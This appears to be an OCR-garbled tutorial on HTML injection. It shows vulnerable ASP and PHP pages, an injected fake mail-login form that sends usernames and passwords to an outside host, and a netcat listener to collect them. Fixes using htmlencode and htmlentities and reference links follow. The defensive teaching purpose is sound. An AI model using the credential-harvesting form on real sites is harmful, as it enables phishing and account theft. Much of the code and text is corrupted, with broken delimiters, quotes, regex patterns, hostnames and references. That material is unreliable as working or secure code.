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<html lang="en">

<head>

<title> ASP HTML Injection </title>
</head>

<body>

<% Dim name

name = Request.QueryString(“name")
Dim message

message = "Hello, | am a vulnerable application, " + name
00>

<div>

<% = message %>

</div>

</body>

</html>
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http://localhost:A - As/inject/vulnerable.asp?name=<b>Query
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<b>Enter your mail Username and Password:<br><br>

<form action="http://yay\#AN V2N YAA-A-" method="GET">

<input type="text" name="email" placeholder="Your Username"><br>

<input type="password" name="password"><br>

<input type="submit" value="Submit"></form>
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root@user#Netcat —lvp A-A-
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<head>

<title> asp html injection </title>

</head>

<body>

<% dim name

Set re=server.createobject(“vbscript.regexp”)
Name=request.querystring(“name”

Re.pattern="["a-zA-Z--a\\-]”

Name=replace(name,””’)

Dim message;

Message="hello ,I am a vulnerable application, ‘“+name
%>

<div>

<% =message %>
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</div>

</body>
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<head>

<title> asp html injection </title>
</head>

<body>

<% dim name
Name=request.querystring(‘“name”)
Dim message;

Message="hello ,I am a vulnerable application, “+server.htmlencode(name)
00>

<div>

<% =message %>

</div>

</body>
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L localhost/inject/outputvalidated.asp?name=<b>Inject<b>
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Hello, T am a vulnerable application, <b=Inject=b>
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Hello, T am a vulnerable application, <<b>Inject<b>
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<head>

<title> asp html injection </title>

</head>

<body>

<% dim name

Set re=server.createobject(“vbscript.regexp”)
Name=request.querystring(‘“name”)

Re.pattern="["a-zA-Z--a\.\-]”

Name=replace(name,””’)
Dim message;

Message="hello ,I am a vulnerable application, “+server.htmlencode(name)
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%>
<div>
<% =message %>

</div>

</body>
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<?php
$name=$ request(‘name’);
7>
<html><head><title> php code for html injection</title></head>
<body>
<div>hello, <?php echo $name; ?></div>
</body>

</html>
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<?php

$name=htmlentities($ request[ ‘name’]); ?>
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<div>hello,<?php echo htmlentities($name); ?></div>
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<?php

$name= htmlentities($_request[ ‘name’]);
7>
<html><head><title> php code for html injection</title></head>
<body>
<div>hello, <?php echo htmlentities($name); ?></div>
</body>

</html>
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V. https://'www.owasp.org/index.php/Testing_for HTML _Injection_(OTG
-CLIENT---Y).

Y. Code Injection — HTML Injection, Demonstration by Shritam

Bhowmick, A Independent Consulting Security Evangelist, v-\¥f.

v. https://deadliestwebattacks.com/category/html-injection.
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